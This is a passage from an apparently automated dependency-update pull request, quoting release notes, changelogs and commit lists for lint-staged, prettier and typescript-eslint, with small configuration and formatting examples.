f.toLowerCase().endsWith('.pdf'))\nif (pdfFiles.length \u0026gt; 0) {\nlog('PDF files should not be committed: %s', pdfFiles)\nthrow new Error('Failed')\n}\n},\n},\n})\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1854\"\u003e#1854\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/30562bcbc5267bdb733c257c79c0a65c34465ba3\"\u003e\u003ccode\u003e30562bc\u003c/code\u003e\u003c/a\u003e - \u003cem\u003elint-staged\u003c/em\u003e now stages changes to \u003cstrong\u003eall tracked files modified by tasks\u003c/strong\u003e, including files that weren’t originally staged or didn’t match the configured globs. This can happen when your task has side-effects, or it's a function that ignores the staged files like \u003ccode\u003e() =\u0026gt; \u0026quot;prettier --write .\u0026quot;\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eIf you have unstaged changes in a file and the task also edits that file, your unstaged changes will be staged too. Use \u003ccode\u003e--hide-unstaged\u003c/code\u003e to hide your changes while tasks run.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1860\"\u003e#1860\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/4296532155fb893ab8f754a47f3518f691fd4d98\"\u003e\u003ccode\u003e4296532\u003c/code\u003e\u003c/a\u003e - The assignment of staged files to \u003cem\u003elint-staged\u003c/em\u003e configuration files (when using multiple, for example in a monorepo) has been rewritten to be more efficient. As a reminder, each staged file is assigned to exactly one configuration (the closest one), even if that config doesn't match the file in its globs.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1861\"\u003e#1861\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/c45f28af47a540730de2bf22fddedeb8fac5952a\"\u003e\u003ccode\u003ec45f28a\u003c/code\u003e\u003c/a\u003e - Fix running parallel tasks for a single glob, when tasks are created by a function. Nesting one level of arrays inside an array of tasks will result in the inner tasks running in parallel. This behavior should now be consistent when creating tasks using functions. In the following example \u003ccode\u003eeslint\u003c/code\u003e and \u003ccode\u003eprettier\u003c/code\u003e will run in parallel (for all files, when any JS files are staged):\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003eimport { defineConfig } from 'lint-staged/config'\n\u003cp\u003eexport default defineConfig({\n'*.js': () =\u0026gt; [['eslint --max-warnings=0 .', 'prettier --list-different .']],\n})\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1859\"\u003e#1859\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/f0ea69dc67399e504a08db67594f697d4c24df6d\"\u003e\u003ccode\u003ef0ea69d\u003c/code\u003e\u003c/a\u003e - Various performance improvements from skipping redundant internal Git calls.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1856\"\u003e#1856\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/69d7d17ca6d3b10f2ececf8b2756c1927a627821\"\u003e\u003ccode\u003e69d7d17\u003c/code\u003e\u003c/a\u003e - Partially staged changes are hidden in a uniquely-named patch file to avoid multiple invocations of \u003cem\u003elint-staged\u003c/em\u003e overwriting it. This makes it safer to run \u003cem\u003elint-staged\u003c/em\u003e in multiple worktrees at the same time.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lint-staged/lint-staged/blob/main/CHANGELOG.md\"\u003elint-staged's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e17.6.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1850\"\u003e#1850\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/938d3f43d07cbd74f08052dfb8a7380ce8868180\"\u003e\u003ccode\u003e938d3f4\u003c/code\u003e\u003c/a\u003e - Task functions like \u003ccode\u003e{ title, task }\u003c/code\u003e can now use a logger function \u003ccode\u003elog()\u003c/code\u003e to emit output while the task runs. By default, the output will only be visible if the task fails, unless the \u003ccode\u003e--verbose\u003c/code\u003e option was used. Additionally, when the task rejects, the error will be shown in the output.\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003eimport { defineConfig } from 'lint-staged/config'\n\u003cp\u003eexport default defineConfig({\n'*': {\ntitle: 'Fail if PDF files are committed',\ntask: async (filepaths, { log }) =\u0026gt; {\nconst pdfFiles = filepaths.filter((f) =\u0026gt; f.toLowerCase().endsWith('.pdf'))\nif (pdfFiles.length \u0026gt; 0) {\nlog('PDF files should not be committed: %s', pdfFiles)\nthrow new Error('Failed')\n}\n},\n},\n})\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1854\"\u003e#1854\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/30562bcbc5267bdb733c257c79c0a65c34465ba3\"\u003e\u003ccode\u003e30562bc\u003c/code\u003e\u003c/a\u003e - \u003cem\u003elint-staged\u003c/em\u003e now stages changes to \u003cstrong\u003eall tracked files modified by tasks\u003c/strong\u003e, including files that weren’t originally staged or didn’t match the configured globs. This can happen when your task has side-effects, or it's a function that ignores the staged files like \u003ccode\u003e() =\u0026gt; \u0026quot;prettier --write .\u0026quot;\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eIf you have unstaged changes in a file and the task also edits that file, your unstaged changes will be staged too. Use \u003ccode\u003e--hide-unstaged\u003c/code\u003e to hide your changes while tasks run.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1860\"\u003e#1860\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/4296532155fb893ab8f754a47f3518f691fd4d98\"\u003e\u003ccode\u003e4296532\u003c/code\u003e\u003c/a\u003e - The assignment of staged files to \u003cem\u003elint-staged\u003c/em\u003e configuration files (when using multiple, for example in a monorepo) has been rewritten to be more efficient. As a reminder, each staged file is assigned to exactly one configuration (the closest one), even if that config doesn't match the file in its globs.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1861\"\u003e#1861\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/c45f28af47a540730de2bf22fddedeb8fac5952a\"\u003e\u003ccode\u003ec45f28a\u003c/code\u003e\u003c/a\u003e - Fix running parallel tasks for a single glob, when tasks are created by a function. Nesting one level of arrays inside an array of tasks will result in the inner tasks running in parallel. This behavior should now be consistent when creating tasks using functions. In the following example \u003ccode\u003eeslint\u003c/code\u003e and \u003ccode\u003eprettier\u003c/code\u003e will run in parallel (for all files, when any JS files are staged):\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003eimport { defineConfig } from 'lint-staged/config'\n\u003cp\u003eexport default defineConfig({\n'*.js': () =\u0026gt; [['eslint --max-warnings=0 .', 'prettier --list-different .']],\n})\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1859\"\u003e#1859\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/f0ea69dc67399e504a08db67594f697d4c24df6d\"\u003e\u003ccode\u003ef0ea69d\u003c/code\u003e\u003c/a\u003e - Various performance improvements from skipping redundant internal Git calls.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1856\"\u003e#1856\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/69d7d17ca6d3b10f2ececf8b2756c1927a627821\"\u003e\u003ccode\u003e69d7d17\u003c/code\u003e\u003c/a\u003e - Partially staged changes are hidden in a uniquely-named patch file to avoid multiple invocations of \u003cem\u003elint-staged\u003c/em\u003e overwriting it. This makes it safer to run \u003cem\u003elint-staged\u003c/em\u003e in multiple worktrees at the same time.\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lint-staged/lint-staged/commit/48f9f4ea4b88eb605de3546e4599083de7a394b2\"\u003e\u003ccode\u003e48f9f4e\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/issues/1857\"\u003e#1857\u003c/a\u003e from lint-staged/changeset-release/main\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lint-staged/lint-staged/commit/16b2e213efeec330f7e1576a8d35776822bf698a\"\u003e\u003ccode\u003e16b2e21\u003c/code\u003e\u003c/a\u003e chore(changeset): release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lint-staged/lint-staged/commit/195f15677da877431b63dfd001e1ed9369bb1479\"\u003e\u003ccode\u003e195f156\u003c/code\u003e\u003c/a\u003e docs: improve changeset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lint-staged/lint-staged/commit/0ba6261cabfdade60e487385ebec4fc2b4b44309\"\u003e\u003ccode\u003e0ba6261\u003c/code\u003e\u003c/a\u003e fix: create hidden directory only when required\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lint-staged/lint-staged/commit/66ac2de6f71d19256cc5d11026d37e653af11549\"\u003e\u003ccode\u003e66ac2de\u003c/code\u003e\u003c/a\u003e docs: fixes to changesets\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lint-staged/lint-staged/commit/80af8d7f8246c4246cdf8b53229bd1bf7763f959\"\u003e\u003ccode\u003e80af8d7\u003c/code\u003e\u003c/a\u003e Merge pull request \u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/issues/1863\"\u003e#1863\u003c/a\u003e from lint-staged/fix-issues\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lint-staged/lint-staged/commit/e4334881d49d94669bc2b2fb5a73705d822c69bb\"\u003e\u003ccode\u003ee433488\u003c/code\u003e\u003c/a\u003e fix: handle task editing a symlinked file to a regular file, and --fail-on-ch...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lint-staged/lint-staged/commit/e5019b32138e301c777c683f95e4a1e17362845f\"\u003e\u003ccode\u003ee5019b3\u003c/code\u003e\u003c/a\u003e fix: handle trailing newlines when detecting changed files\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lint-staged/lint-staged/commit/74efec85fa276618837d3c4602062ef30d16abf1\"\u003e\u003ccode\u003e74efec8\u003c/code\u003e\u003c/a\u003e ci: run Cygwin and MSYS2 tests on Node.js 26\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lint-staged/lint-staged/commit/655b7dcd9f7eb57a6f574f03be371190afeb9f5c\"\u003e\u003ccode\u003e655b7dc\u003c/code\u003e\u003c/a\u003e fix: use TypeScript types instead of JSDoc\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/lint-staged/lint-staged/compare/v17.5.1...v17.6.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `prettier` from 3.9.6 to 3.9.10\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/releases\"\u003eprettier's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.9.10\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMarkdown: Update \u003ccode\u003emicromark-extension-gfm-table\u003c/code\u003e to fix the table parse issue on performance (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20266\"\u003e#20266\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.10/CHANGELOG.md#3910\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.9\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMarkdown: Fix text with \u003ccode\u003e$\u003c/code\u003e been incorrectly parsed as math syntax (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20140\"\u003e#20140\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.9/CHANGELOG.md#399\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.8\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMarkdown: Don't let Liquid objects interrupt paragraphs (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20087\"\u003e#20087\u003c/a\u003e by \u003ca href=\"https://github.com/seiyab\"\u003e\u003ccode\u003e@​seiyab\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.8/CHANGELOG.md#398\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.7\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSupport Angular 22.2\u003c/li\u003e\n\u003cli\u003eFix regressions in v3.9\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.7/CHANGELOG.md#397\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/blob/main/CHANGELOG.md\"\u003eprettier's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.9.10\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.9.9...3.9.10\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Update \u003ccode\u003emicromark-extension-gfm-table\u003c/code\u003e to fix the table parse issue on performance (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20266\"\u003e#20266\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/micromark/micromark-extension-gfm-table/commit/4f43ead37b786bc531d924530d4ab4c714886267\"\u003ehttps://github.com/micromark/micromark-extension-gfm-table/commit/4f43ead37b786bc531d924530d4ab4c714886267\u003c/a\u003e for details.\u003c/p\u003e\n\u003ch1\u003e3.9.9\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.9.8...3.9.9\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Fix text with \u003ccode\u003e$\u003c/code\u003e been incorrectly parsed as math syntax (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20140\"\u003e#20140\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cpre lang=\"md\"\u003e\u003ccode\u003e\u0026lt;!-- Input --\u0026gt;\n**Uses $FOO** from `a.sh` and `b.sh`, plus `$BAR` from `c.sh`, before anything else runs here.\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.8 --\u0026gt;\n\u003cstrong\u003eUses $FOO\u003c/strong\u003e from \u003ccode\u003ea.sh\u003c/code\u003e and \u003ccode\u003eb.sh\u003c/code\u003e, plus \u003ccode\u003e$BAR\u003c/code\u003efrom\u003ccode\u003ec.sh\u003c/code\u003e, before anything else runs here.\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.9 --\u0026gt;\n\u003cstrong\u003eUses $FOO\u003c/strong\u003e from \u003ccode\u003ea.sh\u003c/code\u003e and \u003ccode\u003eb.sh\u003c/code\u003e, plus \u003ccode\u003e$BAR\u003c/code\u003e from \u003ccode\u003ec.sh\u003c/code\u003e, before anything else runs here.\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003ch1\u003e3.9.8\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.9.7...3.9.8\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003ch4\u003eMarkdown: Don't let Liquid objects interrupt paragraphs (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/20087\"\u003e#20087\u003c/a\u003e by \u003ca href=\"https://github.com/seiyab\"\u003e\u003ccode\u003e@​seiyab\u003c/code\u003e\u003c/a\u003e)\u003c/h4\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003cpre lang=\"markdown\"\u003e\u003ccode\u003e\u0026lt;!-- Input --\u0026gt;\nIf `module` is not a [`WebAssembly.Module`](https://github.com/prettier/prettier/blob/main/en-US/docs/WebAssembly/Reference/JavaScript_interface/Module) object instance, a\n{{jsxref(\u0026quot;TypeError\u0026quot;)}} is thrown.\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.7 --\u0026gt;\nIf \u003ccode\u003emodule\u003c/code\u003e is not a \u003ca href=\"https://github.com/prettier/prettier/blob/main/en-US/docs/WebAssembly/Reference/JavaScript_interface/Module\"\u003e\u003ccode\u003eWebAssembly.Module\u003c/code\u003e\u003c/a\u003e object instance, a\u003c/p\u003e\n\u003cp\u003e{{jsxref(\u0026quot;TypeError\u0026quot;)}} is thrown.\u003c/p\u003e\n\u003cp\u003e\u0026lt;!-- Prettier 3.9.8 --\u0026gt;\nIf \u003ccode\u003emodule\u003c/code\u003e is not a \u003ca href=\"https://github.com/prettier/prettier/blob/main/en-US/docs/WebAssembly/Reference/JavaScript_interface/Module\"\u003e\u003ccode\u003eWebAssembly.Module\u003c/code\u003e\u003c/a\u003e object instance, a\n{{jsxref(\u0026quot;TypeError\u0026quot;)}} is thrown.\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003ch1\u003e3.9.7\u003c/h1\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/1172b82c295c4f889fd787dc6c78c3e194ebf353\"\u003e\u003ccode\u003e1172b82\u003c/code\u003e\u003c/a\u003e Release 3.9.10\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/d0142273aff2c76f8a69785d42ee2cedc4b0aaa3\"\u003e\u003ccode\u003ed014227\u003c/code\u003e\u003c/a\u003e Update \u003ccode\u003emicromark-extension-gfm-table\u003c/code\u003e to fix the table parse issue on perfor...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/953b9084329dcd06ed1072a04b333f1e6e9371e8\"\u003e\u003ccode\u003e953b908\u003c/code\u003e\u003c/a\u003e Bump Prettier dependency to 3.9.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/ad8a6bf4fa23c42fd114683fec43b28a11bd24af\"\u003e\u003ccode\u003ead8a6bf\u003c/code\u003e\u003c/a\u003e Clean changelog_unreleased\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/cdd17f2288b28b170a76416c72dac56e3ea5daff\"\u003e\u003ccode\u003ecdd17f2\u003c/code\u003e\u003c/a\u003e Release 3.9.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/dc7b8968e678f51ea00e2be3fe8c717d114691a3\"\u003e\u003ccode\u003edc7b896\u003c/code\u003e\u003c/a\u003e Disable \u003ccode\u003esingleDollarTextMath\u003c/code\u003e in \u003ccode\u003emdast-util-math\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/prettier/prettier/issues/20140\"\u003e#20140\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/f9be58fb8ec62dd47197ea19a30aac5ad26dfee0\"\u003e\u003ccode\u003ef9be58f\u003c/code\u003e\u003c/a\u003e Git blame ignore 3.9.8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/88470cb79ca3b757dd6b93906d9a992aa1a456c3\"\u003e\u003ccode\u003e88470cb\u003c/code\u003e\u003c/a\u003e Bump Prettier dependency to 3.9.8\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/9559cab39eb5082c99a27e8829760c055adba841\"\u003e\u003ccode\u003e9559cab\u003c/code\u003e\u003c/a\u003e Clean changelog_unreleased\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/prettier/prettier/commit/4fc8ee87465de8d54780273a6996d74e8e9da827\"\u003e\u003ccode\u003e4fc8ee8\u003c/code\u003e\u003c/a\u003e Update dependents count\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/prettier/prettier/compare/3.9.6...3.9.10\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `typescript-eslint` from 8.70.0 to 8.72.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003etypescript-eslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.72.0\u003c/h2\u003e\n\u003ch2\u003e8.72.0 (2026-10-19)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e lazy load rules (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13010\"\u003e#13010\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [await-thenable] add \u003ccode\u003eallowMixedPromiseArrays\u003c/code\u003e option (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12992\"\u003e#12992\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e error on abstract keyword that precedes export (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13019\"\u003e#13019\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003east-spec:\u003c/strong\u003e add \u003ccode\u003eJSXFragment\u003c/code\u003e to \u003ccode\u003eJSXAttribute['value']\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13051\"\u003e#13051\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [prefer-readonly-parameter-types] check where allowed type aliases are declared (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13016\"\u003e#13016\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-deprecated] report deprecated properties in object literals (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12704\"\u003e#12704\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e use isTypeLiteralType instead of type.isLiteral() to include bigint literals on TS \u0026lt; 5.0 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13053\"\u003e#13053\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] check tuples (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13058\"\u003e#13058\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] ignore extra this type argument on TS \u0026lt; 5.1 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13055\"\u003e#13055\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etype-utils:\u003c/strong\u003e discriminateAnyType crashes when calling getAwaitedType on awaited type in TS \u0026lt; 5.0 (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/13054\"\u003e#13054\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e include leading and trailing comments \u0026amp; whitespace in Program range (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12991\"\u003e#12991\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eJunichiro Kasuya \u003ca href=\"https://github.com/jksy\"\u003e\u003ccode\u003e@​jksy\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMitch Fultz \u003ca href=\"https://github.com/fitchmultz\"\u003e\u003ccode\u003e@​fitchmultz\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eShaan GS \u003ca href=\"https://github.com/ShaanGS\"\u003e\u003ccode\u003e@​ShaanGS\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.72.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003ch2\u003ev8.71.2\u003c/h2\u003e\n\u003ch2\u003e8.71.2 (2026-10-12)\u003c/h2\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unused-vars] avoid false-positives when not using our parser (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12989\"\u003e#12989\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-type-parameters] count instantiated mapped type templates (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12974\"\u003e#12974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unused-vars] ignore type-only refs for after-used (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12977\"\u003e#12977\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-unnecessary-type-parameters] parenthesize constraint in optional tuple elements (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12995\"\u003e#12995\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [prefer-optional-chain] safe fix when the chain ends with a strict null comparison 